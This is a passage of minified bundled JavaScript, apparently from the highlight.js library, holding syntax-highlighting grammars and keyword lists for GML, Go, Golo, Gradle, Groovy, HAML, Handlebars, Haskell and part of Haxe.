skeleton_animation_set_ext skeleton_animation_get_ext skeleton_animation_get_duration skeleton_animation_get_frames skeleton_animation_clear skeleton_skin_set skeleton_skin_get skeleton_attachment_set skeleton_attachment_get skeleton_attachment_create skeleton_collision_draw_set skeleton_bone_data_get skeleton_bone_data_set skeleton_bone_state_get skeleton_bone_state_set skeleton_get_minmax skeleton_get_num_bounds skeleton_get_bounds skeleton_animation_get_frame skeleton_animation_set_frame draw_skeleton draw_skeleton_time draw_skeleton_instance draw_skeleton_collision skeleton_animation_list skeleton_skin_list skeleton_slot_data layer_get_id layer_get_id_at_depth layer_get_depth layer_create layer_destroy layer_destroy_instances layer_add_instance layer_has_instance layer_set_visible layer_get_visible layer_exists layer_x layer_y layer_get_x layer_get_y layer_hspeed layer_vspeed layer_get_hspeed layer_get_vspeed layer_script_begin layer_script_end layer_shader layer_get_script_begin layer_get_script_end layer_get_shader layer_set_target_room layer_get_target_room layer_reset_target_room layer_get_all layer_get_all_elements layer_get_name layer_depth layer_get_element_layer layer_get_element_type layer_element_move layer_force_draw_depth layer_is_draw_depth_forced layer_get_forced_depth layer_background_get_id layer_background_exists layer_background_create layer_background_destroy layer_background_visible layer_background_change layer_background_sprite layer_background_htiled layer_background_vtiled layer_background_stretch layer_background_yscale layer_background_xscale layer_background_blend layer_background_alpha layer_background_index layer_background_speed layer_background_get_visible layer_background_get_sprite layer_background_get_htiled layer_background_get_vtiled layer_background_get_stretch layer_background_get_yscale layer_background_get_xscale layer_background_get_blend layer_background_get_alpha layer_background_get_index layer_background_get_speed layer_sprite_get_id layer_sprite_exists layer_sprite_create layer_sprite_destroy layer_sprite_change layer_sprite_index layer_sprite_speed layer_sprite_xscale layer_sprite_yscale layer_sprite_angle layer_sprite_blend layer_sprite_alpha layer_sprite_x layer_sprite_y layer_sprite_get_sprite layer_sprite_get_index layer_sprite_get_speed layer_sprite_get_xscale layer_sprite_get_yscale layer_sprite_get_angle layer_sprite_get_blend layer_sprite_get_alpha layer_sprite_get_x layer_sprite_get_y layer_tilemap_get_id layer_tilemap_exists layer_tilemap_create layer_tilemap_destroy tilemap_tileset tilemap_x tilemap_y tilemap_set tilemap_set_at_pixel tilemap_get_tileset tilemap_get_tile_width tilemap_get_tile_height tilemap_get_width tilemap_get_height tilemap_get_x tilemap_get_y tilemap_get tilemap_get_at_pixel tilemap_get_cell_x_at_pixel tilemap_get_cell_y_at_pixel tilemap_clear draw_tilemap draw_tile tilemap_set_global_mask tilemap_get_global_mask tilemap_set_mask tilemap_get_mask tilemap_get_frame tile_set_empty tile_set_index tile_set_flip tile_set_mirror tile_set_rotate tile_get_empty tile_get_index tile_get_flip tile_get_mirror tile_get_rotate layer_tile_exists layer_tile_create layer_tile_destroy layer_tile_change layer_tile_xscale layer_tile_yscale layer_tile_blend layer_tile_alpha layer_tile_x layer_tile_y layer_tile_region layer_tile_visible layer_tile_get_sprite layer_tile_get_xscale layer_tile_get_yscale layer_tile_get_blend layer_tile_get_alpha layer_tile_get_x layer_tile_get_y layer_tile_get_region layer_tile_get_visible layer_instance_get_instance instance_activate_layer instance_deactivate_layer camera_create camera_create_view camera_destroy camera_apply camera_get_active camera_get_default camera_set_default camera_set_view_mat camera_set_proj_mat camera_set_update_script camera_set_begin_script camera_set_end_script camera_set_view_pos camera_set_view_size camera_set_view_speed camera_set_view_border camera_set_view_angle camera_set_view_target camera_get_view_mat camera_get_proj_mat camera_get_update_script camera_get_begin_script camera_get_end_script camera_get_view_x camera_get_view_y camera_get_view_width camera_get_view_height camera_get_view_speed_x camera_get_view_speed_y camera_get_view_border_x camera_get_view_border_y camera_get_view_angle camera_get_view_target view_get_camera view_get_visible view_get_xport view_get_yport view_get_wport view_get_hport view_get_surface_id view_set_camera view_set_visible view_set_xport view_set_yport view_set_wport view_set_hport view_set_surface_id gesture_drag_time gesture_drag_distance gesture_flick_speed gesture_double_tap_time gesture_double_tap_distance gesture_pinch_distance gesture_pinch_angle_towards gesture_pinch_angle_away gesture_rotate_time gesture_rotate_angle gesture_tap_count gesture_get_drag_time gesture_get_drag_distance gesture_get_flick_speed gesture_get_double_tap_time gesture_get_double_tap_distance gesture_get_pinch_distance gesture_get_pinch_angle_towards gesture_get_pinch_angle_away gesture_get_rotate_time gesture_get_rotate_angle gesture_get_tap_count keyboard_virtual_show keyboard_virtual_hide keyboard_virtual_status keyboard_virtual_height",literal:"self other all noone global local undefined pointer_invalid pointer_null path_action_stop path_action_restart path_action_continue path_action_reverse true false pi GM_build_date GM_version GM_runtime_version timezone_local timezone_utc gamespeed_fps gamespeed_microseconds ev_create ev_destroy ev_step ev_alarm ev_keyboard ev_mouse ev_collision ev_other ev_draw ev_draw_begin ev_draw_end ev_draw_pre ev_draw_post ev_keypress ev_keyrelease ev_trigger ev_left_button ev_right_button ev_middle_button ev_no_button ev_left_press ev_right_press ev_middle_press ev_left_release ev_right_release ev_middle_release ev_mouse_enter ev_mouse_leave ev_mouse_wheel_up ev_mouse_wheel_down ev_global_left_button ev_global_right_button ev_global_middle_button ev_global_left_press ev_global_right_press ev_global_middle_press ev_global_left_release ev_global_right_release ev_global_middle_release ev_joystick1_left ev_joystick1_right ev_joystick1_up ev_joystick1_down ev_joystick1_button1 ev_joystick1_button2 ev_joystick1_button3 ev_joystick1_button4 ev_joystick1_button5 ev_joystick1_button6 ev_joystick1_button7 ev_joystick1_button8 ev_joystick2_left ev_joystick2_right ev_joystick2_up ev_joystick2_down ev_joystick2_button1 ev_joystick2_button2 ev_joystick2_button3 ev_joystick2_button4 ev_joystick2_button5 ev_joystick2_button6 ev_joystick2_button7 ev_joystick2_button8 ev_outside ev_boundary ev_game_start ev_game_end ev_room_start ev_room_end ev_no_more_lives ev_animation_end ev_end_of_path ev_no_more_health ev_close_button ev_user0 ev_user1 ev_user2 ev_user3 ev_user4 ev_user5 ev_user6 ev_user7 ev_user8 ev_user9 ev_user10 ev_user11 ev_user12 ev_user13 ev_user14 ev_user15 ev_step_normal ev_step_begin ev_step_end ev_gui ev_gui_begin ev_gui_end ev_cleanup ev_gesture ev_gesture_tap ev_gesture_double_tap ev_gesture_drag_start ev_gesture_dragging ev_gesture_drag_end ev_gesture_flick ev_gesture_pinch_start ev_gesture_pinch_in ev_gesture_pinch_out ev_gesture_pinch_end ev_gesture_rotate_start ev_gesture_rotating ev_gesture_rotate_end ev_global_gesture_tap ev_global_gesture_double_tap ev_global_gesture_drag_start ev_global_gesture_dragging ev_global_gesture_drag_end ev_global_gesture_flick ev_global_gesture_pinch_start ev_global_gesture_pinch_in ev_global_gesture_pinch_out ev_global_gesture_pinch_end ev_global_gesture_rotate_start ev_global_gesture_rotating ev_global_gesture_rotate_end vk_nokey vk_anykey vk_enter vk_return vk_shift vk_control vk_alt vk_escape vk_space vk_backspace vk_tab vk_pause vk_printscreen vk_left vk_right vk_up vk_down vk_home vk_end vk_delete vk_insert vk_pageup vk_pagedown vk_f1 vk_f2 vk_f3 vk_f4 vk_f5 vk_f6 vk_f7 vk_f8 vk_f9 vk_f10 vk_f11 vk_f12 vk_numpad0 vk_numpad1 vk_numpad2 vk_numpad3 vk_numpad4 vk_numpad5 vk_numpad6 vk_numpad7 vk_numpad8 vk_numpad9 vk_divide vk_multiply vk_subtract vk_add vk_decimal vk_lshift vk_lcontrol vk_lalt vk_rshift vk_rcontrol vk_ralt mb_any mb_none mb_left mb_right mb_middle c_aqua c_black c_blue c_dkgray c_fuchsia c_gray c_green c_lime c_ltgray c_maroon c_navy c_olive c_purple c_red c_silver c_teal c_white c_yellow c_orange fa_left fa_center fa_right fa_top fa_middle fa_bottom pr_pointlist pr_linelist pr_linestrip pr_trianglelist pr_trianglestrip pr_trianglefan bm_complex bm_normal bm_add bm_max bm_subtract bm_zero bm_one bm_src_colour bm_inv_src_colour bm_src_color bm_inv_src_color bm_src_alpha bm_inv_src_alpha bm_dest_alpha bm_inv_dest_alpha bm_dest_colour bm_inv_dest_colour bm_dest_color bm_inv_dest_color bm_src_alpha_sat tf_point tf_linear tf_anisotropic mip_off mip_on mip_markedonly audio_falloff_none audio_falloff_inverse_distance audio_falloff_inverse_distance_clamped audio_falloff_linear_distance audio_falloff_linear_distance_clamped audio_falloff_exponent_distance audio_falloff_exponent_distance_clamped audio_old_system audio_new_system audio_mono audio_stereo audio_3d cr_default cr_none cr_arrow cr_cross cr_beam cr_size_nesw cr_size_ns cr_size_nwse cr_size_we cr_uparrow cr_hourglass cr_drag cr_appstart cr_handpoint cr_size_all spritespeed_framespersecond spritespeed_framespergameframe asset_object asset_unknown asset_sprite asset_sound asset_room asset_path asset_script asset_font asset_timeline asset_tiles asset_shader fa_readonly fa_hidden fa_sysfile fa_volumeid fa_directory fa_archive ds_type_map ds_type_list ds_type_stack ds_type_queue ds_type_grid ds_type_priority ef_explosion ef_ring ef_ellipse ef_firework ef_smoke ef_smokeup ef_star ef_spark ef_flare ef_cloud ef_rain ef_snow pt_shape_pixel pt_shape_disk pt_shape_square pt_shape_line pt_shape_star pt_shape_circle pt_shape_ring pt_shape_sphere pt_shape_flare pt_shape_spark pt_shape_explosion pt_shape_cloud pt_shape_smoke pt_shape_snow ps_distr_linear ps_distr_gaussian ps_distr_invgaussian ps_shape_rectangle ps_shape_ellipse ps_shape_diamond ps_shape_line ty_real ty_string dll_cdecl dll_stdcall matrix_view matrix_projection matrix_world os_win32 os_windows os_macosx os_ios os_android os_symbian os_linux os_unknown os_winphone os_tizen os_win8native os_wiiu os_3ds os_psvita os_bb10 os_ps4 os_xboxone os_ps3 os_xbox360 os_uwp os_tvos os_switch browser_not_a_browser browser_unknown browser_ie browser_firefox browser_chrome browser_safari browser_safari_mobile browser_opera browser_tizen browser_edge browser_windows_store browser_ie_mobile device_ios_unknown device_ios_iphone device_ios_iphone_retina device_ios_ipad device_ios_ipad_retina device_ios_iphone5 device_ios_iphone6 device_ios_iphone6plus device_emulator device_tablet display_landscape display_landscape_flipped display_portrait display_portrait_flipped tm_sleep tm_countvsyncs of_challenge_win of_challen ge_lose of_challenge_tie leaderboard_type_number leaderboard_type_time_mins_secs cmpfunc_never cmpfunc_less cmpfunc_equal cmpfunc_lessequal cmpfunc_greater cmpfunc_notequal cmpfunc_greaterequal cmpfunc_always cull_noculling cull_clockwise cull_counterclockwise lighttype_dir lighttype_point iap_ev_storeload iap_ev_product iap_ev_purchase iap_ev_consume iap_ev_restore iap_storeload_ok iap_storeload_failed iap_status_uninitialised iap_status_unavailable iap_status_loading iap_status_available iap_status_processing iap_status_restoring iap_failed iap_unavailable iap_available iap_purchased iap_canceled iap_refunded fb_login_default fb_login_fallback_to_webview fb_login_no_fallback_to_webview fb_login_forcing_webview fb_login_use_system_account fb_login_forcing_safari phy_joint_anchor_1_x phy_joint_anchor_1_y phy_joint_anchor_2_x phy_joint_anchor_2_y phy_joint_reaction_force_x phy_joint_reaction_force_y phy_joint_reaction_torque phy_joint_motor_speed phy_joint_angle phy_joint_motor_torque phy_joint_max_motor_torque phy_joint_translation phy_joint_speed phy_joint_motor_force phy_joint_max_motor_force phy_joint_length_1 phy_joint_length_2 phy_joint_damping_ratio phy_joint_frequency phy_joint_lower_angle_limit phy_joint_upper_angle_limit phy_joint_angle_limits phy_joint_max_length phy_joint_max_torque phy_joint_max_force phy_debug_render_aabb phy_debug_render_collision_pairs phy_debug_render_coms phy_debug_render_core_shapes phy_debug_render_joints phy_debug_render_obb phy_debug_render_shapes phy_particle_flag_water phy_particle_flag_zombie phy_particle_flag_wall phy_particle_flag_spring phy_particle_flag_elastic phy_particle_flag_viscous phy_particle_flag_powder phy_particle_flag_tensile phy_particle_flag_colourmixing phy_particle_flag_colormixing phy_particle_group_flag_solid phy_particle_group_flag_rigid phy_particle_data_flag_typeflags phy_particle_data_flag_position phy_particle_data_flag_velocity phy_particle_data_flag_colour phy_particle_data_flag_color phy_particle_data_flag_category achievement_our_info achievement_friends_info achievement_leaderboard_info achievement_achievement_info achievement_filter_all_players achievement_filter_friends_only achievement_filter_favorites_only achievement_type_achievement_challenge achievement_type_score_challenge achievement_pic_loaded achievement_show_ui achievement_show_profile achievement_show_leaderboard achievement_show_achievement achievement_show_bank achievement_show_friend_picker achievement_show_purchase_prompt network_socket_tcp network_socket_udp network_socket_bluetooth network_type_connect network_type_disconnect network_type_data network_type_non_blocking_connect network_config_connect_timeout network_config_use_non_blocking_socket network_config_enable_reliable_udp network_config_disable_reliable_udp buffer_fixed buffer_grow buffer_wrap buffer_fast buffer_vbuffer buffer_network buffer_u8 buffer_s8 buffer_u16 buffer_s16 buffer_u32 buffer_s32 buffer_u64 buffer_f16 buffer_f32 buffer_f64 buffer_bool buffer_text buffer_string buffer_surface_copy buffer_seek_start buffer_seek_relative buffer_seek_end buffer_generalerror buffer_outofspace buffer_outofbounds buffer_invalidtype text_type button_type input_type ANSI_CHARSET DEFAULT_CHARSET EASTEUROPE_CHARSET RUSSIAN_CHARSET SYMBOL_CHARSET SHIFTJIS_CHARSET HANGEUL_CHARSET GB2312_CHARSET CHINESEBIG5_CHARSET JOHAB_CHARSET HEBREW_CHARSET ARABIC_CHARSET GREEK_CHARSET TURKISH_CHARSET VIETNAMESE_CHARSET THAI_CHARSET MAC_CHARSET BALTIC_CHARSET OEM_CHARSET gp_face1 gp_face2 gp_face3 gp_face4 gp_shoulderl gp_shoulderr gp_shoulderlb gp_shoulderrb gp_select gp_start gp_stickl gp_stickr gp_padu gp_padd gp_padl gp_padr gp_axislh gp_axislv gp_axisrh gp_axisrv ov_friends ov_community ov_players ov_settings ov_gamegroup ov_achievements lb_sort_none lb_sort_ascending lb_sort_descending lb_disp_none lb_disp_numeric lb_disp_time_sec lb_disp_time_ms ugc_result_success ugc_filetype_community ugc_filetype_microtrans ugc_visibility_public ugc_visibility_friends_only ugc_visibility_private ugc_query_RankedByVote ugc_query_RankedByPublicationDate ugc_query_AcceptedForGameRankedByAcceptanceDate ugc_query_RankedByTrend ugc_query_FavoritedByFriendsRankedByPublicationDate ugc_query_CreatedByFriendsRankedByPublicationDate ugc_query_RankedByNumTimesReported ugc_query_CreatedByFollowedUsersRankedByPublicationDate ugc_query_NotYetRated ugc_query_RankedByTotalVotesAsc ugc_query_RankedByVotesUp ugc_query_RankedByTextSearch ugc_sortorder_CreationOrderDesc ugc_sortorder_CreationOrderAsc ugc_sortorder_TitleAsc ugc_sortorder_LastUpdatedDesc ugc_sortorder_SubscriptionDateDesc ugc_sortorder_VoteScoreDesc ugc_sortorder_ForModeration ugc_list_Published ugc_list_VotedOn ugc_list_VotedUp ugc_list_VotedDown ugc_list_WillVoteLater ugc_list_Favorited ugc_list_Subscribed ugc_list_UsedOrPlayed ugc_list_Followed ugc_match_Items ugc_match_Items_Mtx ugc_match_Items_ReadyToUse ugc_match_Collections ugc_match_Artwork ugc_match_Videos ugc_match_Screenshots ugc_match_AllGuides ugc_match_WebGuides ugc_match_IntegratedGuides ugc_match_UsableInGame ugc_match_ControllerBindings vertex_usage_position vertex_usage_colour vertex_usage_color vertex_usage_normal vertex_usage_texcoord vertex_usage_textcoord vertex_usage_blendweight vertex_usage_blendindices vertex_usage_psize vertex_usage_tangent vertex_usage_binormal vertex_usage_fog vertex_usage_depth vertex_usage_sample vertex_type_float1 vertex_type_float2 vertex_type_float3 vertex_type_float4 vertex_type_colour vertex_type_color vertex_type_ubyte4 layerelementtype_undefined layerelementtype_background layerelementtype_instance layerelementtype_oldtilemap layerelementtype_sprite layerelementtype_tilemap layerelementtype_particlesystem layerelementtype_tile tile_rotate tile_flip tile_mirror tile_index_mask kbv_type_default kbv_type_ascii kbv_type_url kbv_type_email kbv_type_numbers kbv_type_phone kbv_type_phone_name kbv_returnkey_default kbv_returnkey_go kbv_returnkey_google kbv_returnkey_join kbv_returnkey_next kbv_returnkey_route kbv_returnkey_search kbv_returnkey_send kbv_returnkey_yahoo kbv_returnkey_done kbv_returnkey_continue kbv_returnkey_emergency kbv_autocapitalize_none kbv_autocapitalize_words kbv_autocapitalize_sentences kbv_autocapitalize_characters",symbol:"argument_relative argument argument0 argument1 argument2 argument3 argument4 argument5 argument6 argument7 argument8 argument9 argument10 argument11 argument12 argument13 argument14 argument15 argument_count x|0 y|0 xprevious yprevious xstart ystart hspeed vspeed direction speed friction gravity gravity_direction path_index path_position path_positionprevious path_speed path_scale path_orientation path_endaction object_index id solid persistent mask_index instance_count instance_id room_speed fps fps_real current_time current_year current_month current_day current_weekday current_hour current_minute current_second alarm timeline_index timeline_position timeline_speed timeline_running timeline_loop room room_first room_last room_width room_height room_caption room_persistent score lives health show_score show_lives show_health caption_score caption_lives caption_health event_type event_number event_object event_action application_surface gamemaker_pro gamemaker_registered gamemaker_version error_occurred error_last debug_mode keyboard_key keyboard_lastkey keyboard_lastchar keyboard_string mouse_x mouse_y mouse_button mouse_lastbutton cursor_sprite visible sprite_index sprite_width sprite_height sprite_xoffset sprite_yoffset image_number image_index image_speed depth image_xscale image_yscale image_angle image_alpha image_blend bbox_left bbox_right bbox_top bbox_bottom layer background_colour background_showcolour background_color background_showcolor view_enabled view_current view_visible view_xview view_yview view_wview view_hview view_xport view_yport view_wport view_hport view_angle view_hborder view_vborder view_hspeed view_vspeed view_object view_surface_id view_camera game_id game_display_name game_project_name game_save_id working_directory temp_directory program_directory browser_width browser_height os_type os_device os_browser os_version display_aa async_load delta_time webgl_enabled event_data iap_data phy_rotation phy_position_x phy_position_y phy_angular_velocity phy_linear_velocity_x phy_linear_velocity_y phy_speed_x phy_speed_y phy_speed phy_angular_damping phy_linear_damping phy_bullet phy_fixed_rotation phy_active phy_mass phy_inertia phy_com_x phy_com_y phy_dynamic phy_kinematic phy_sleeping phy_collision_points phy_collision_x phy_collision_y phy_col_normal_x phy_col_normal_y phy_position_xprevious phy_position_yprevious"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE]}}CJ8.exports=fPq});var yJ8=v((KCz,RJ8)=>{function NPq(A){let K={keyword:"break default func interface select case map struct chan else goto package switch const fallthrough if range type continue for import return var go defer bool byte complex64 complex128 float32 float64 int8 int16 int32 int64 string uint8 uint16 uint32 uint64 int uint uintptr rune",literal:"true false iota nil",built_in:"append cap close complex copy imag len make new panic print println real recover delete"};return{name:"Go",aliases:["golang"],keywords:K,illegal:"</",contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"string",variants:[A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,{begin:"`",end:"`"}]},{className:"number",variants:[{begin:A.C_NUMBER_RE+"[i]",relevance:1},A.C_NUMBER_MODE]},{begin:/:=/},{className:"function",beginKeywords:"func",end:"\\s*(\\{|$)",excludeEnd:!0,contains:[A.TITLE_MODE,{className:"params",begin:/\(/,end:/\)/,keywords:K,illegal:/["']/}]}]}}RJ8.exports=NPq});var SJ8=v((qCz,IJ8)=>{function TPq(A){return{name:"Golo",keywords:{keyword:"println readln print import module function local return let var while for foreach times in case when match with break continue augment augmentation each find filter reduce if then else otherwise try catch finally raise throw orIfNull DynamicObject|10 DynamicVariable struct Observable map set vector list array",literal:"true false null"},contains:[A.HASH_COMMENT_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"@[A-Za-z]+"}]}}IJ8.exports=TPq});var bJ8=v((YCz,hJ8)=>{function vPq(A){return{name:"Gradle",case_insensitive:!0,keywords:{keyword:"task project allprojects subprojects artifacts buildscript configurations dependencies repositories sourceSets description delete from into include exclude source classpath destinationDir includes options sourceCompatibility targetCompatibility group flatDir doLast doFirst flatten todir fromdir ant def abstract break case catch continue default do else extends final finally for if implements instanceof native new private protected public return static switch synchronized throw throws transient try volatile while strictfp package import false null super this true antlrtask checkstyle codenarc copy boolean byte char class double float int interface long short void compile runTime file fileTree abs any append asList asWritable call collect compareTo count div dump each eachByte eachFile eachLine every find findAll flatten getAt getErr getIn getOut getText grep immutable inject inspect intersect invokeMethods isCase join leftShift minus multiply newInputStream newOutputStream newPrintWriter newReader newWriter next plus pop power previous print println push putAt read readBytes readLines reverse reverseEach round size sort splitEachLine step subMap times toInteger toList tokenize upto waitForOrKill withPrintWriter withReader withStream withWriter withWriterAppend write writeLine"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.NUMBER_MODE,A.REGEXP_MODE]}}hJ8.exports=vPq});var uJ8=v((zCz,xJ8)=>{function EPq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function kPq(A){return CPq("(?=",A,")")}function CPq(...A){return A.map((q)=>EPq(q)).join("")}function Gx1(A,K={}){return K.variants=A,K}function LPq(A){let q=Gx1([A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{begin:/\w+@/,relevance:0},{className:"doctag",begin:"@[A-Za-z]+"}]})]),Y={className:"regexp",begin:/~?\/[^\/\n]+\//,contains:[A.BACKSLASH_ESCAPE]},z=Gx1([A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE]),w=Gx1([{begin:/"""/,end:/"""/},{begin:/'''/,end:/'''/},{begin:"\\$/",end:"/\\$",relevance:10},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE],{className:"string"});return{name:"Groovy",keywords:{built_in:"this super",literal:"true false null",keyword:"byte short char int long boolean float double void def as in assert trait abstract static volatile transient public private protected synchronized final class interface enum if else for while switch case break default continue throw throws try catch finally implements extends new import package return instanceof"},contains:[A.SHEBANG({binary:"groovy",relevance:10}),q,w,Y,z,{className:"class",beginKeywords:"class interface trait enum",end:/\{/,illegal:":",contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},{className:"meta",begin:"@[A-Za-z]+",relevance:0},{className:"attr",begin:"[A-Za-z0-9_$]+[ \t]*:",relevance:0},{begin:/\?/,end:/:/,relevance:0,contains:[q,w,Y,z,"self"]},{className:"symbol",begin:"^[ \t]*"+kPq("[A-Za-z0-9_$]+:"),excludeBegin:!0,end:"[A-Za-z0-9_$]+:",relevance:0}],illegal:/#|<\//}}xJ8.exports=LPq});var mJ8=v((wCz,BJ8)=>{function RPq(A){return{name:"HAML",case_insensitive:!0,contains:[{className:"meta",begin:"^!!!( (5|1\\.1|Strict|Frameset|Basic|Mobile|RDFa|XML\\b.*))?$",relevance:10},A.COMMENT("^\\s*(!=#|=#|-#|/).*$",!1,{relevance:0}),{begin:"^\\s*(-|=|!=)(?!#)",starts:{end:"\\n",subLanguage:"ruby"}},{className:"tag",begin:"^\\s*%",contains:[{className:"selector-tag",begin:"\\w+"},{className:"selector-id",begin:"#[\\w-]+"},{className:"selector-class",begin:"\\.[\\w-]+"},{begin:/\{\s*/,end:/\s*\}/,contains:[{begin:":\\w+\\s*=>",end:",\\s+",returnBegin:!0,endsWithParent:!0,contains:[{className:"attr",begin:":\\w+"},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{begin:"\\w+",relevance:0}]}]},{begin:"\\(\\s*",end:"\\s*\\)",excludeEnd:!0,contains:[{begin:"\\w+\\s*=",end:"\\s+",returnBegin:!0,endsWithParent:!0,contains:[{className:"attr",begin:"\\w+",relevance:0},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{begin:"\\w+",relevance:0}]}]}]},{begin:"^\\s*[=~]\\s*"},{begin:/#\{/,starts:{end:/\}/,subLanguage:"ruby"}}]}}BJ8.exports=RPq});var QJ8=v((HCz,FJ8)=>{function gJ8(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function yPq(A){return lTA("(",A,")*")}function IPq(A){return lTA("(",A,")?")}function lTA(...A){return A.map((q)=>gJ8(q)).join("")}function SPq(...A){return"("+A.map((q)=>gJ8(q)).join("|")+")"}function hPq(A){let K={"builtin-name":["action","bindattr","collection","component","concat","debugger","each","each-in","get","hash","if","in","input","link-to","loc","log","lookup","mut","outlet","partial","query-params","render","template","textarea","unbound","unless","view","with","yield"]},q={literal:["true","false","undefined","null"]},Y=/""|"[^"]+"/,z=/''|'[^']+'/,w=/\[\]|\[[^\]]+\]/,H=/[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+/,J=/(\.|\/)/,O=SPq(Y,z,w,H),X=lTA(IPq(/\.|\.\/|\//),O,yPq(lTA(J,O))),$=lTA("(",w,"|",H,")(?==)"),_={begin:X,lexemes:/[\w.\/]+/},G=A.inherit(_,{keywords:q}),Z={begin:/\(/,end:/\)/},W={className:"attr",begin:$,relevance:0,starts:{begin:/=/,end:/=/,starts:{contains:[A.NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,G,Z]}}},D={begin:/as\s+\|/,keywords:{keyword:"as"},end:/\|/,contains:[{begin:/\w+/}]},j={contains:[A.NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,D,W,G,Z],returnEnd:!0},M=A.inherit(_,{className:"name",keywords:K,starts:A.inherit(j,{end:/\)/})});Z.contains=[M];let P=A.inherit(_,{keywords:K,className:"name",starts:A.inherit(j,{end:/\}\}/})}),f=A.inherit(_,{keywords:K,className:"name"}),N=A.inherit(_,{className:"name",keywords:K,starts:A.inherit(j,{end:/\}\}/})});return{name:"Handlebars",aliases:["hbs","html.hbs","html.handlebars","htmlbars"],case_insensitive:!0,subLanguage:"xml",contains:[{begin:/\\\{\{/,skip:!0},{begin:/\\\\(?=\{\{)/,skip:!0},A.COMMENT(/\{\{!--/,/--\}\}/),A.COMMENT(/\{\{!/,/\}\}/),{className:"template-tag",begin:/\{\{\{\{(?!\/)/,end:/\}\}\}\}/,contains:[P],starts:{end:/\{\{\{\{\//,returnEnd:!0,subLanguage:"xml"}},{className:"template-tag",begin:/\{\{\{\{\//,end:/\}\}\}\}/,contains:[f]},{className:"template-tag",begin:/\{\{#/,end:/\}\}/,contains:[P]},{className:"template-tag",begin:/\{\{(?=else\}\})/,end:/\}\}/,keywords:"else"},{className:"template-tag",begin:/\{\{(?=else if)/,end:/\}\}/,keywords:"else if"},{className:"template-tag",begin:/\{\{\//,end:/\}\}/,contains:[f]},{className:"template-variable",begin:/\{\{\{/,end:/\}\}\}/,contains:[N]},{className:"template-variable",begin:/\{\{/,end:/\}\}/,contains:[N]}]}}FJ8.exports=hPq});var pJ8=v((JCz,UJ8)=>{function bPq(A){let K={variants:[A.COMMENT("--","$"),A.COMMENT(/\{-/,/-\}/,{contains:["self"]})]},q={className:"meta",begin:/\{-#/,end:/#-\}/},Y={className:"meta",begin:"^#",end:"$"},z={className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},w={begin:"\\(",end:"\\)",illegal:'"',contains:[q,Y,{className:"type",begin:"\\b[A-Z][\\w]*(\\((\\.\\.|,|\\w+)\\))?"},A.inherit(A.TITLE_MODE,{begin:"[_a-z][\\w']*"}),K]},H={begin:/\{/,end:/\}/,contains:w.contains};return{name:"Haskell",aliases:["hs"],keywords:"let in if then else case of where do module import hiding qualified type data newtype deriving class instance as default infix infixl infixr foreign export ccall stdcall cplusplus jvm dotnet safe unsafe family forall mdo proc rec",contains:[{beginKeywords:"module",end:"where",keywords:"module where",contains:[w,K],illegal:"\\W\\.|;"},{begin:"\\bimport\\b",end:"$",keywords:"import qualified as hiding",contains:[w,K],illegal:"\\W\\.|;"},{className:"class",begin:"^(\\s*)?(class|instance)\\b",end:"where",keywords:"class family instance where",contains:[z,w,K]},{className:"class",begin:"\\b(data|(new)?type)\\b",end:"$",keywords:"data family type newtype deriving",contains:[q,z,w,H,K]},{beginKeywords:"default",end:"$",contains:[z,w,K]},{beginKeywords:"infix infixl infixr",end:"$",contains:[A.C_NUMBER_MODE,K]},{begin:"\\bforeign\\b",end:"$",keywords:"foreign import export ccall stdcall cplusplus jvm dotnet safe unsafe",contains:[z,A.QUOTE_STRING_MODE,K]},{className:"meta",begin:"#!\\/usr\\/bin\\/env runhaskell",end:"$"},q,Y,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,z,A.inherit(A.TITLE_MODE,{begin:"^[_a-z][\\w']*"}),K,{begin:"->|<-"}]}}UJ8.exports=bPq});var cJ8=v((OCz,dJ8)=>{function xPq(A){return{name:"Haxe",aliases:["hx"],keywords:{keyword:"break case cast catch continue default do dynamic else enum extern for function here if import in inline never new override package private get set public return static super switch this throw trace try typedef untyped using var while Int Float String Bool Dynamic Void Array ",built_in:"trace this",literal:"true false null _"},contains:[{className:"string",begin:"'",end:"'",contains:[A.BACKSLASH_ESCAPE,{className:"subst",begin:"\\$\\{",end:"\\}"},{className:"subst",begin:"\\$",end:/\W\}/}]},A.QUOTE_STRING_MODE,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"@:",end:"$"},{className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"if else elseif end error"}},{className:"type",begin:":[ \t]*",end:"[^A-Za-z0-9_ \t\\->]",excludeBegin:!0,excludeEnd:!0,relevance:0},{className:"type",begin:":[ \t]*",end:"\\W",excludeBegin:!0,excludeEnd:!0},{className:"type",begin:"new *",end:"\\W",excludeBegin:!0,excludeEnd:!0},{className:"class",beginKeywords:"enum",end:"\\{",contains:[A.TITLE_MODE]},{className:"class",beginKeywords:"abstract",end:"[\\{$]",contains:[{className:"type",begin:"\\(",end:"\\)",excludeBegin:!0,excludeEnd:!0},{className:"type",begin:"from +",end:"\\W",excludeBegin:!0,excludeEnd:!0},{className:"type",begin:"to +",end:"\\W",excludeBegin:!0,excludeEnd:!0},A.TITLE_MODE],keywords:{keyword:"abstract from to"}},{className:"class",begin:"\\b(class|interface) +",end:"[\\{$]",excludeEnd:!0,keywords:"class 